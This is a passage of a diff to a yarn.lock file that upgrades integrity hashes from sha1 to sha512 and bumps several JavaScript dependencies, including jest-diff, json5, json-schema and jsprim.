-  integrity sha1-HxbkqiKwTRM2tmGIpmrzxgDDpm0=
+  integrity sha512-gfygJYZ2gLTDlmbWMI0CE2MwnFzSN/2SZfkMlItC4K/JBlsWVDB0bO6XhqcY13YXE7iMcAJnzTCJjPiTeJJ0Mw==
 
 isarray@0.0.1:
   version "0.0.1"
   resolved "https://registry.yarnpkg.com/isarray/-/isarray-0.0.1.tgz#8a18acfca9a8f4177e09abfc6038939b05d1eedf"
-  integrity sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=
+  integrity sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==
 
 isarray@1.0.0, isarray@^1.0.0, isarray@~1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/isarray/-/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11"
   integrity sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=
 
+isarray@^2.0.5:
+  version "2.0.5"
+  resolved "https://registry.yarnpkg.com/isarray/-/isarray-2.0.5.tgz#8af1e4c1221244cc62459faf38940d4e644a5723"
+  integrity sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==
+
 isexe@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
@@ -4444,27 +4751,19 @@ isexe@^2.0.0:
 isobject@^2.0.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/isobject/-/isobject-2.1.0.tgz#f065561096a3f1da2ef46272f815c840d87e0c89"
-  integrity sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=
+  integrity sha512-+OUdGJlgjOBZDfxnDjYYG6zp487z0JGNQq3cYQYg5f5hKR+syHMsaztzGeml/4kGG55CSpKSpWTY+jYGgsHLgA==
   dependencies:
     isarray "1.0.0"
 
 isobject@^3.0.0, isobject@^3.0.1:
   version "3.0.1"
   resolved "https://registry.yarnpkg.com/isobject/-/isobject-3.0.1.tgz#4e431e92b11a9731636aa1f9c8d1ccbcfdab78df"
-  integrity sha1-TkMekrEalzFjaqH5yNHMvP2reN8=
-
-isomorphic-fetch@^2.1.1:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/isomorphic-fetch/-/isomorphic-fetch-2.2.1.tgz#611ae1acf14f5e81f729507472819fe9733558a9"
-  integrity sha1-YRrhrPFPXoH3KVB0coGf6XM1WKk=
-  dependencies:
-    node-fetch "^1.0.1"
-    whatwg-fetch ">=0.10.0"
+  integrity sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==
 
 isstream@~0.1.2:
   version "0.1.2"
   resolved "https://registry.yarnpkg.com/isstream/-/isstream-0.1.2.tgz#47e63f7af55afa6f92e1500e690eb8b8529c099a"
-  integrity sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=
+  integrity sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==
 
 istanbul-api@^1.1.1:
   version "1.3.7"
@@ -4539,12 +4838,12 @@ istanbul-reports@^1.5.1:
 jest-changed-files@^20.0.3:
   version "20.0.3"
   resolved "https://registry.yarnpkg.com/jest-changed-files/-/jest-changed-files-20.0.3.tgz#9394d5cc65c438406149bef1bf4d52b68e03e3f8"
-  integrity sha1-k5TVzGXEOEBhSb7xv01Sto4D4/g=
+  integrity sha512-3o76mBdqPXN5zrak+U9ldALWgYlQQgKh8vQL3nsQO/seybjPqsp2Qp0pGGvVeMOaiwCbOZCrOvb3D8QhG/9Ccw==
 
 jest-cli@^20.0.4:
   version "20.0.4"
   resolved "https://registry.yarnpkg.com/jest-cli/-/jest-cli-20.0.4.tgz#e532b19d88ae5bc6c417e8b0593a6fe954b1dc93"
-  integrity sha1-5TKxnYiuW8bEF+iwWTpv6VSx3JM=
+  integrity sha512-OfQTkV6T5+V+c3hbzGVJl1SqTOmIw7dBIZYl6XDdSNOmhoyCmwNh/dsEs0lgqIMZkF+AeLbRswkH91XBVXyKqg==
   dependencies:
     ansi-escapes "^1.4.0"
     callsites "^2.0.0"
@@ -4580,7 +4879,7 @@ jest-cli@^20.0.4:
 jest-config@^20.0.4:
   version "20.0.4"
   resolved "https://registry.yarnpkg.com/jest-config/-/jest-config-20.0.4.tgz#e37930ab2217c913605eff13e7bd763ec48faeea"
-  integrity sha1-43kwqyIXyRNgXv8T5712PsSPruo=
+  integrity sha512-9urceXnsfO+DXNGrzeDFKx/IAFpUljbvaiPZEn1sWuF97QN0Ppt7yXmnPoAOylwxpNK1t9lWUER5eeoH63rPCA==
   dependencies:
     chalk "^1.1.3"
     glob "^7.1.1"
@@ -4596,7 +4895,7 @@ jest-config@^20.0.4:
 jest-diff@^20.0.3:
   version "20.0.3"
   resolved "https://registry.yarnpkg.com/jest-diff/-/jest-diff-20.0.3.tgz#81f288fd9e675f0fb23c75f1c2b19445fe586617"
-  integrity sha1-gfKI/Z5nXw+yPHXxwrGURf5YZhc=
+  integrity sha512-DITOXlTg0HDL9QKiVpf82vDu/nva60/V9xp056zjnAYpHVTZlJgfLMIHJmgPCoSu0+7n7QUAfxyFUHUGyHLFSw==
   dependencies:
     chalk "^1.1.3"
     diff "^3.2.0"
@@ -4604,24 +4903,24 @@ jest-diff@^20.0.3:
     pretty-format "^20.0.3"
 
 jest-diff@^29.4.1:
-  version "29.4.1"
-  resolved "https://registry.yarnpkg.com/jest-diff/-/jest-diff-29.4.1.tgz#9a6dc715037e1fa7a8a44554e7d272088c4029bd"
-  integrity sha512-uazdl2g331iY56CEyfbNA0Ut7Mn2ulAG5vUaEHXycf1L6IPyuImIxSz4F0VYBKi7LYIuxOwTZzK3wh5jHzASMw==
+  version "29.7.0"
+  resolved "https://registry.yarnpkg.com/jest-diff/-/jest-diff-29.7.0.tgz#017934a66ebb7ecf6f205e84699be10afd70458a"
+  integrity sha512-LMIgiIrhigmPrs03JHpxUh2yISK3vLFPkAodPeo0+BuF7wA2FoQbkEg1u8gBYBThncu7e1oEDUfIXVuTqLRUjw==
   dependencies:
     chalk "^4.0.0"
-    diff-sequences "^29.3.1"
-    jest-get-type "^29.2.0"
-    pretty-format "^29.4.1"
+    diff-sequences "^29.6.3"
+    jest-get-type "^29.6.3"
+    pretty-format "^29.7.0"
 
 jest-docblock@^20.0.3:
   version "20.0.3"
   resolved "https://registry.yarnpkg.com/jest-docblock/-/jest-docblock-20.0.3.tgz#17bea984342cc33d83c50fbe1545ea0efaa44712"
-  integrity sha1-F76phDQswz2DxQ++FUXqDvqkRxI=
+  integrity sha512-lHwefzd+CB38Awy4yiWb8he+ovUXjNeuN4tNQ1sa6/vBh6P7XwpiuSDIs4GH6/yE1uDBUaYiaf/msD7cWMTL7g==
 
 jest-environment-jsdom@^20.0.3:
   version "20.0.3"
   resolved "https://registry.yarnpkg.com/jest-environment-jsdom/-/jest-environment-jsdom-20.0.3.tgz#048a8ac12ee225f7190417713834bb999787de99"
-  integrity sha1-BIqKwS7iJfcZBBdxODS7mZeH3pk=
+  integrity sha512-SSm2oCtH0kBYdXhEMzZDFM4GU/auz4x7yv8AGduAZSZP5loKYHLNoKfVlyN1iFQ+vCJ+1QSS+sVnUARSwaBqbw==
   dependencies:
     jest-mock "^20.0.3"
     jest-util "^20.0.3"
@@ -4630,15 +4929,15 @@ jest-environment-jsdom@^20.0.3:
 jest-environment-node@^20.0.3:
   version "20.0.3"
   resolved "https://registry.yarnpkg.com/jest-environment-node/-/jest-environment-node-20.0.3.tgz#d488bc4612af2c246e986e8ae7671a099163d403"
-  integrity sha1-1Ii8RhKvLCRumG6K52caCZFj1AM=
+  integrity sha512-kVwkLhrGd1toaMHHtVIM2qleNTBDrFUZ6Qjv0GEfd75DK2P0H24xVVMA83H0PEkNbGl2EbjF/CeAIJSN3LagBw==
   dependencies:
     jest-mock "^20.0.3"
     jest-util "^20.0.3"
 
-jest-get-type@^29.2.0:
-  version "29.2.0"
-  resolved "https://registry.yarnpkg.com/jest-get-type/-/jest-get-type-29.2.0.tgz#726646f927ef61d583a3b3adb1ab13f3a5036408"
-  integrity sha512-uXNJlg8hKFEnDgFsrCjznB+sTxdkuqiCL6zMgA75qEbAJjJYTs9XPrvDctrEig2GDow22T/LvHgO57iJhXB/UA==
+jest-get-type@^29.6.3:
+  version "29.6.3"
+  resolved "https://registry.yarnpkg.com/jest-get-type/-/jest-get-type-29.6.3.tgz#36f499fdcea197c1045a127319c0481723908fd1"
+  integrity sha512-zrteXnqYxfQh7l5FHyL38jL39di8H8rHoecLH3JNxH3BwOrBsNeabdap5e0I23lD4HHI8W5VFBZqG4Eaq5LNcw==
 
 jest-haste-map@^20.0.4:
   version "20.0.5"
@@ -4655,7 +4954,7 @@ jest-haste-map@^20.0.4:
 jest-jasmine2@^20.0.4:
   version "20.0.4"
   resolved "https://registry.yarnpkg.com/jest-jasmine2/-/jest-jasmine2-20.0.4.tgz#fcc5b1411780d911d042902ef1859e852e60d5e1"
-  integrity sha1-/MWxQReA2RHQQpAu8YWehS5g1eE=
+  integrity sha512-XNHvFt9iljOaSSZU5t5dC9kJtrcM+KnVbw0Qa/BpGZlrorqS+m0iWiAJO2xXcGMimCmhT4NLZAS1v/JBGWR8Cg==
   dependencies:
     chalk "^1.1.3"
     graceful-fs "^4.1.11"
@@ -4670,7 +4969,7 @@ jest-jasmine2@^20.0.4:
 jest-matcher-utils@^20.0.3:
   version "20.0.3"
   resolved "https://registry.yarnpkg.com/jest-matcher-utils/-/jest-matcher-utils-20.0.3.tgz#b3a6b8e37ca577803b0832a98b164f44b7815612"
-  integrity sha1-s6a443yld4A7CDKpixZPRLeBVhI=
+  integrity sha512-eSNh2n3aXULZUbherq5+lZVdpUau8sniowi1tcc1ZueBk/97avAwwoDwBVvxI9JINVrPTsCI51SiQtrjBkVvPw==
   dependencies:
     chalk "^1.1.3"
     pretty-format "^20.0.3"
@@ -4678,7 +4977,7 @@ jest-matcher-utils@^20.0.3:
 jest-matchers@^20.0.3:
   version "20.0.3"
   resolved "https://registry.yarnpkg.com/jest-matchers/-/jest-matchers-20.0.3.tgz#ca69db1c32db5a6f707fa5e0401abb55700dfd60"
-  integrity sha1-ymnbHDLbWm9wf6XgQBq7VXAN/WA=
+  integrity sha512-aDlp50L8qPJ+Y+tifrlKewT0ZU1uC9OP7GJ5T0UKSw/wB73wf6jKEAZUqyA67BocW8BZD7qVVWHasm7u2D1CMQ==
   dependencies:
     jest-diff "^20.0.3"
     jest-matcher-utils "^20.0.3"
@@ -4688,7 +4987,7 @@ jest-matchers@^20.0.3:
 jest-message-util@^20.0.3:
   version "20.0.3"
   resolved "https://registry.yarnpkg.com/jest-message-util/-/jest-message-util-20.0.3.tgz#6aec2844306fcb0e6e74d5796c1006d96fdd831c"
-  integrity sha1-auwoRDBvyw5udNV5bBAG2W/dgxw=
+  integrity sha512-p4UQLFjZmXw9Optr6c0aAIDN622+tdVW9XjaCODww/Y8MRGo1S60CICl0Jb4XdJWmMkmD07osWc6aElLxo0mDg==
   dependencies:
     chalk "^1.1.3"
     micromatch "^2.3.11"
@@ -4697,24 +4996,24 @@ jest-message-util@^20.0.3:
 jest-mock@^20.0.3:
   version "20.0.3"
   resolved "https://registry.yarnpkg.com/jest-mock/-/jest-mock-20.0.3.tgz#8bc070e90414aa155c11a8d64c869a0d5c71da59"
-  integrity sha1-i8Bw6QQUqhVcEajWTIaaDVxx2lk=
+  integrity sha512-Edmuskld6ImmUuqxhbwwX5fDXQlFC/fe3XcZKVwK9SnbetIFyivTaub71ZbL5uuWdkvr4VggcyxlhdnpsIlRvg==
 
 jest-regex-util@^20.0.3:
   version "20.0.3"
   resolved "https://registry.yarnpkg.com/jest-regex-util/-/jest-regex-util-20.0.3.tgz#85bbab5d133e44625b19faf8c6aa5122d085d762"
-  integrity sha1-hburXRM+RGJbGfr4xqpRItCF12I=
+  integrity sha512-WVFSnROOYgYA+AyTytpZA93EEv16DfPkkR8V8okVQjirXLfRs9n451BPgiiUJSHIyJv+OQ4El0+q16hyY1dEdA==
 
 jest-resolve-dependencies@^20.0.3:
   version "20.0.3"
   resolved "https://registry.yarnpkg.com/jest-resolve-dependencies/-/jest-resolve-dependencies-20.0.3.tgz#6e14a7b717af0f2cb3667c549de40af017b1723a"
-  integrity sha1-bhSntxevDyyzZnxUneQK8Bexcjo=
+  integrity sha512-k0DK242umC88ih4KKH1jVlXBulQJfOmMXV/nMMfqRgeFKbBYfUROLZkz0zr8TON5WfnuiHV5GotqE0pXoqg08A==
   dependencies:
     jest-regex-util "^20.0.3"
 
 jest-resolve@^20.0.4:
   version "20.0.4"
   resolved "https://registry.yarnpkg.com/jest-resolve/-/jest-resolve-20.0.4.tgz#9448b3e8b6bafc15479444c6499045b7ffe597a5"
-  integrity sha1-lEiz6La6/BVHlETGSZBFt//ll6U=
+  integrity sha512-n/u93CugulXmQ8FcHHGv1kUEFagsbXsJgKLK2G4eAdmawHObAc6DgJtOVp9hgNJOGRU6c6ozdB5nzMO02Fecig==
   dependencies:
     browser-resolve "^1.11.2"
     is-builtin-module "^1.0.0"
@@ -4723,7 +5022,7 @@ jest-resolve@^20.0.4:
 jest-runtime@^20.0.4:
   version "20.0.4"
   resolved "https://registry.yarnpkg.com/jest-runtime/-/jest-runtime-20.0.4.tgz#a2c802219c4203f754df1404e490186169d124d8"
-  integrity sha1-osgCIZxCA/dU3xQE5JAYYWnRJNg=
+  integrity sha512-NTGhGRKhfM19w0egxges3hhIO8gPXB2H6Txaie3+AZIHF+VZCItH27uEFzU6cQTdwzcWaiieYgCAfGKNeUUf7g==
   dependencies:
     babel-core "^6.0.0"
     babel-jest "^20.0.3"
@@ -4744,7 +5043,7 @@ jest-runtime@^20.0.4:
 jest-snapshot@^20.0.3:
   version "20.0.3"
   resolved "https://registry.yarnpkg.com/jest-snapshot/-/jest-snapshot-20.0.3.tgz#5b847e1adb1a4d90852a7f9f125086e187c76566"
-  integrity sha1-W4R+GtsaTZCFKn+fElCG4YfHZWY=
+  integrity sha512-oapnAnOloz9Lv2r44TtiAQiPT2f6NdLFvK6mW3hnGStfDjstnbHAxG0f/tUhXr81BcmZvz03hsMMInKi9bHG0Q==
   dependencies:
     chalk "^1.1.3"
     jest-diff "^20.0.3"
@@ -4756,7 +5055,7 @@ jest-snapshot@^20.0.3:
 jest-util@^20.0.3:
   version "20.0.3"
   resolved "https://registry.yarnpkg.com/jest-util/-/jest-util-20.0.3.tgz#0c07f7d80d82f4e5a67c6f8b9c3fe7f65cfd32ad"
-  integrity sha1-DAf32A2C9OWmfG+LnD/n9lz9Mq0=
+  integrity sha512-Ig/4sAywd/7YJe3jUOIyj+NaX7NCQnxMc/lfRezvbkceZDye0mch126UfIzqyBdS2gjxQl7S8yERvcZDMvK1NA==
   dependencies:
     chalk "^1.1.3"
     graceful-fs "^4.1.11"
@@ -4769,7 +5068,7 @@ jest-util@^20.0.3:
 jest-validate@^20.0.3:
   version "20.0.3"
   resolved "https://registry.yarnpkg.com/jest-validate/-/jest-validate-20.0.3.tgz#d0cfd1de4f579f298484925c280f8f1d94ec3cab"
-  integrity sha1-0M/R3k9XnymEhJJcKA+PHZTsPKs=
+  integrity sha512-yIpGo3le6q+ZPID2UCl58FRM4ZVGZK9qu1RaWSbEnZFUcj08XznJWd6g2HbPqsWCY9abBO3hq2aP5GZveEfGUg==
   dependencies:
     chalk "^1.1.3"
     jest-matcher-utils "^20.0.3"
@@ -4779,7 +5078,7 @@ jest-validate@^20.0.3:
 jest@20.0.4:
   version "20.0.4"
   resolved "https://registry.yarnpkg.com/jest/-/jest-20.0.4.tgz#3dd260c2989d6dad678b1e9cc4d91944f6d602ac"
-  integrity sha1-PdJgwpidba1nix6cxNkZRPbWAqw=
+  integrity sha512-MU1kGBtzhDHwasL1BbuFmlIlwseDXy18p/M3hB7ehifac8FCbj6nJf8ihGtBA594tlUcktotHHd8z42V47ZB1g==
   dependencies:
     jest-cli "^20.0.4"
 
@@ -4796,7 +5095,7 @@ js-base64@^2.1.9:
 js-tokens@^3.0.2:
   version "3.0.2"
   resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-3.0.2.tgz#9866df395102130e38f7f996bceb65443209c25b"
-  integrity sha1-mGbfOVECEw449/mWvOtlRDIJwls=
+  integrity sha512-RjTcuD4xjtthQkaWH7dFlH85L+QaVtSoOyGdZ3g6HFhS9dFNDfLyqgm2NFe2X6cQpeFmt0452FJjFG5UameExg==
 
 js-yaml@^3.4.3, js-yaml@^3.7.0, js-yaml@^3.9.1:
   version "3.14.1"
@@ -4809,7 +5108,7 @@ js-yaml@^3.4.3, js-yaml@^3.7.0, js-yaml@^3.9.1:
 js-yaml@~3.7.0:
   version "3.7.0"
   resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.7.0.tgz#5c967ddd837a9bfdca5f2de84253abe8a1c03b80"
-  integrity sha1-XJZ93YN6m/3KXy3oQlOr6KHAO4A=
+  integrity sha512-eIlkGty7HGmntbV6P/ZlAsoncFLGsNoM27lkTzS+oneY/EiNhj+geqD9ezg/ip+SW6Var0BJU2JtV0vEUZpWVQ==
   dependencies:
     argparse "^1.0.7"
     esprima "^2.6.0"
@@ -4817,12 +5116,12 @@ js-yaml@~3.7.0:
 jsbn@~0.1.0:
   version "0.1.1"
   resolved "https://registry.yarnpkg.com/jsbn/-/jsbn-0.1.1.tgz#a5e654c2e5a2deb5f201d96cefbca80c0ef2f513"
-  integrity sha1-peZUwuWi3rXyAdls77yoDA7y9RM=
+  integrity sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg==
 
 jsdom@^9.12.0:
   version "9.12.0"
   resolved "https://registry.yarnpkg.com/jsdom/-/jsdom-9.12.0.tgz#e8c546fffcb06c00d4833ca84410fed7f8a097d4"
-  integrity sha1-6MVG//ywbADUgzyoRBD+1/igl9Q=
+  integrity sha512-Qw4oqNxo4LyzkSqVIyCnEltTc4xV3g1GBaI88AvYTesWzmWHUSoMNmhBjUBa+6ldXIBJS9xoeLNJPfUAykTyxw==
   dependencies:
     abab "^1.0.3"
     acorn "^4.0.4"
@@ -4847,12 +5146,12 @@ jsdom@^9.12.0:
 jsesc@^1.3.0:
   version "1.3.0"
   resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-1.3.0.tgz#46c3fec8c1892b12b0833db9bc7622176dbab34b"
-  integrity sha1-RsP+yMGJKxKwgz25vHYiF226s0s=
+  integrity sha512-Mke0DA0QjUWuJlhsE0ZPPhYiJkRap642SmI/4ztCFaUs6V2AiH1sfecc+57NgaryfAA2VR3v6O+CSjC1jZJKOA==
 
 jsesc@~0.5.0:
   version "0.5.0"
   resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-0.5.0.tgz#e7dee66e35d6fc16f710fe91d5cf69f70f08911d"
-  integrity sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=
+  integrity sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==
 
 json-loader@^0.5.4:
   version "0.5.7"
@@ -4862,29 +5161,33 @@ json-loader@^0.5.4:
 json-schema-traverse@^0.3.0:
   version "0.3.1"
   resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.3.1.tgz#349a6d44c53a51de89b40805c5d5e59b417d3340"
-  integrity sha1-NJptRMU6Ud6JtAgFxdXlm0F9M0A=
+  integrity sha512-4JD/Ivzg7PoW8NzdrBSr3UFwC9mHgvI7Z6z3QGBsSHgKaRTUDmyZAAKJo2UbG1kUVfS9WS8bi36N49U1xw43DA==
 
 json-schema-traverse@^0.4.1:
   version "0.4.1"
   resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660"
   integrity sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==
 
-json-schema@0.2.3:
-  version "0.2.3"
-  resolved "https://registry.yarnpkg.com/json-schema/-/json-schema-0.2.3.tgz#b480c892e59a2f05954ce727bd3f2a4e882f9e13"
-  integrity sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=
+json-schema@0.4.0:
+  version "0.4.0"
+  resolved "https://registry.yarnpkg.com/json-schema/-/json-schema-0.4.0.tgz#f7de4cf6efab838ebaeb3236474cbba5a1930ab5"
+  integrity sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==
 
 json-stable-stringify@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/json-stable-stringify/-/json-stable-stringify-1.0.1.tgz#9a759d39c5f2ff503fd5300646ed445f88c4f9af"
-  integrity sha1-mnWdOcXy/1A/1TAGRu1EX4jE+a8=
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/json-stable-stringify/-/json-stable-stringify-1.2.1.tgz#addb683c2b78014d0b78d704c2fcbdf0695a60e2"
+  integrity sha512-Lp6HbbBgosLmJbjx0pBLbgvx68FaFU1sdkmBuckmhhJ88kL13OA51CDtR2yJB50eCNMH9wRqtQNNiAqQH4YXnA==
   dependencies:
-    jsonify "~0.0.0"
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    isarray "^2.0.5"
+    jsonify "^0.0.1"
+    object-keys "^1.1.1"
 
 json-stringify-safe@~5.0.1:
   version "5.0.1"
   resolved "https://registry.yarnpkg.com/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz#1296a2d58fd45f19a0f6ce01d65701e2c735b6eb"
-  integrity sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=
+  integrity sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==
 
 json3@^3.3.2:
   version "3.3.3"
@@ -4894,48 +5197,48 @@ json3@^3.3.2:
 json5@^0.5.0, json5@^0.5.1:
   version "0.5.1"
   resolved "https://registry.yarnpkg.com/json5/-/json5-0.5.1.tgz#1eade7acc012034ad84e2396767ead9fa5495821"
-  integrity sha1-Hq3nrMASA0rYTiOWdn6tn6VJWCE=
+  integrity sha512-4xrs1aW+6N5DalkqSVA8fxh458CXvR99WU8WLKmq4v8eWAL86Xo3BVqyd3SkA9wEVjCMqyvvRRkshAdOnBp5rw==
 
 json5@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/json5/-/json5-1.0.1.tgz#779fb0018604fa854eacbf6252180d83543e3dbe"
-  integrity sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/json5/-/json5-1.0.2.tgz#63d98d60f21b313b77c4d6da18bfa69d80e1d593"
+  integrity sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==
   dependencies:
     minimist "^1.2.0"
 
 jsonfile@^2.1.0:
   version "2.4.0"
   resolved "https://registry.yarnpkg.com/jsonfile/-/jsonfile-2.4.0.tgz#3736a2b428b87bbda0cc83b53fa3d633a35c2ae8"
-  integrity sha1-NzaitCi4e72gzIO1P6PWM6NcKug=
+  integrity sha512-PKllAqbgLgxHaj8TElYymKCAgrASebJrWpTnEkOaTowt23VKXXN0sUeriJ+eh7y6ufb/CC5ap11pz71/cM0hUw==
   optionalDependencies:
     graceful-fs "^4.1.6"
 
 jsonfile@^3.0.0:
   version "3.0.1"
   resolved "https://registry.yarnpkg.com/jsonfile/-/jsonfile-3.0.1.tgz#a5ecc6f65f53f662c4415c7675a0331d0992ec66"
-  integrity sha1-pezG9l9T9mLEQVx2daAzHQmS7GY=
+  integrity sha512-oBko6ZHlubVB5mRFkur5vgYR1UyqX+S6Y/oCfLhqNdcc2fYFlDpIoNc7AfKS1KOGcnNAkvsr0grLck9ANM815w==
   optionalDependencies:
     graceful-fs "^4.1.6"
 
-jsonify@~0.0.0:
-  version "0.0.0"
-  resolved "https://registry.yarnpkg.com/jsonify/-/jsonify-0.0.0.tgz#2c74b6ee41d93ca51b7b5aaee8f503631d252a73"
-  integrity sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM=
+jsonify@^0.0.1, jsonify@~0.0.0:
+  version "0.0.1"
+  resolved "https://registry.yarnpkg.com/jsonify/-/jsonify-0.0.1.tgz#2aa3111dae3d34a0f151c63f3a45d995d9420978"
+  integrity sha512-2/Ki0GcmuqSrgFyelQq9M05y7PS0mEwuIzrf3f1fPqkVDVRvZrPZtVSMHxdgo8Aq0sxAOb/cr2aqqA3LeWHVPg==
 
 jsprim@^1.2.2:
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/jsprim/-/jsprim-1.4.1.tgz#313e66bc1e5cc06e438bc1b7499c2e5c56acb6a2"
-  integrity sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=
+  version "1.4.2"
+  resolved "https://registry.yarnpkg.com/jsprim/-/jsprim-1.4.2.tgz#712c65533a15c878ba59e9ed5f0e26d5b77c5feb"
+  integrity sha512-P2bSOMAc/ciLz6DzgjVlGJP9+BrJWu5UDGK70C2iweC5QBIeFf0ZXRvGjEj2uYgrY2MkAAhsSWHDWlFtEroZWw==
   dependencies:
     assert-plus "1.0.0"
     extsprintf "1.3.0"
-    json-schema "0.2.3"
+    json-schema "0.4.0"
     verror "1.10.0"
 
 jsx-ast-utils@^1.4.0:
   version "1.4.1"
   resolved "https://registry.yarnpkg.com/jsx-ast-utils/-/jsx-ast-utils-1.4.1.tgz#3867213e8dd79bf1e8f2300c0cfc1efb182c0df1"
-  integrity sha1-OGchPo3Xm/Ho8jAMDPwe+xgsDfE=
+  integrity sha512-0LwSmMlQjjUdXsdlyYhEfBJCn2Chm0zgUBmfmf1++KUULh+JOdlzrZfiwe2zmlVJx44UF+KX/B/odBoeK9hxmw==
 
 jsx-ast-utils@^2.0.0:
   version "2.4.1"
@@ -4953,22 +5256,17 @@ killable@^1.0.0:
 kind-of@^3.0.2, kind-of@^3.0.3, kind-of@^3.2.0:
   version "3.2.2"
   resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-3.2.2.tgz#31ea21a734bab9bbb0f32466d893aea51e4a3c64"
-  integrity sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=
+  integrity sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==
   dependencies:
     is-buffer "^1.1.5"
 
 kind-of@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-4.0.0.tgz#20813df3d712928b207378691a45066fae72dd57"
-  integrity sha1-IIE989cSkosgc3hpGkUGb65y3Vc=
+  integrity sha512-24XsCxmEbRwEDbz/qz3stgin8TTzZ1ESR56OMCN0ujYg+vRutNSiOj9bHH9u85DKgXguraugV5sFuvbD4FW/hw==
   dependencies:
     is-buffer "^1.1.5"
 
-kind-of@^5.0.0:
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-5.1.0.tgz#729c91e2d857b7a419a1f9aa65685c4c33f5845d"
-  integrity sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==
-
 kind-of@^6.0.0, kind-of@^6.0.2:
   version "6.0.3"
   resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-6.0.3.tgz#07c05034a6c349fa06e24fa35aa76db4580ce4dd"
@@ -4977,38 +5275,38 @@ kind-of@^6.0.0, kind-of@^6.0.2:
 klaw@^1.0.0:
   version "1.3.1"
   resolved "https://registry.yarnpkg.com/klaw/-/klaw-1.3.1.tgz#4088433b46b3b1ba259d78785d8e96f73ba02439"
-  integrity sha1-QIhDO0azsbolnXh4XY6W9zugJDk=
+  integrity sha512-TED5xi9gGQjGpNnvRWknrwAB1eL5GciPfVFOt3Vk1OJCVDQbzuSfrF3hkUQKlsgKrG1F+0t5W0m+Fje1jIt8rw==
   optionalDependencies:
     graceful-fs "^4.1.9"
 
 latest-version@^3.0.0:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/latest-version/-/latest-version-3.1.0.tgz#a205383fea322b33b5ae3b18abee0dc2f356ee15"
-  integrity sha1-ogU4P+oyKzO1rjsYq+4NwvNW7hU=
+  integrity sha512-Be1YRHWWlZaSsrz2U+VInk+tO0EwLIyV+23RhWLINJYwg/UIikxjlj3MhH37/6/EDCAusjajvMkMMUXRaMWl/w==
   dependencies:
     package-json "^4.0.0"
 
 lazy-cache@^1.0.3:
   version "1.0.4"
   resolved "https://registry.yarnpkg.com/lazy-cache/-/lazy-cache-1.0.4.tgz#a1d78fc3a50474cb80845d3b3b6e1da49a446e8e"
-  integrity sha1-odePw6UEdMuAhF07O24dpJpEbo4=
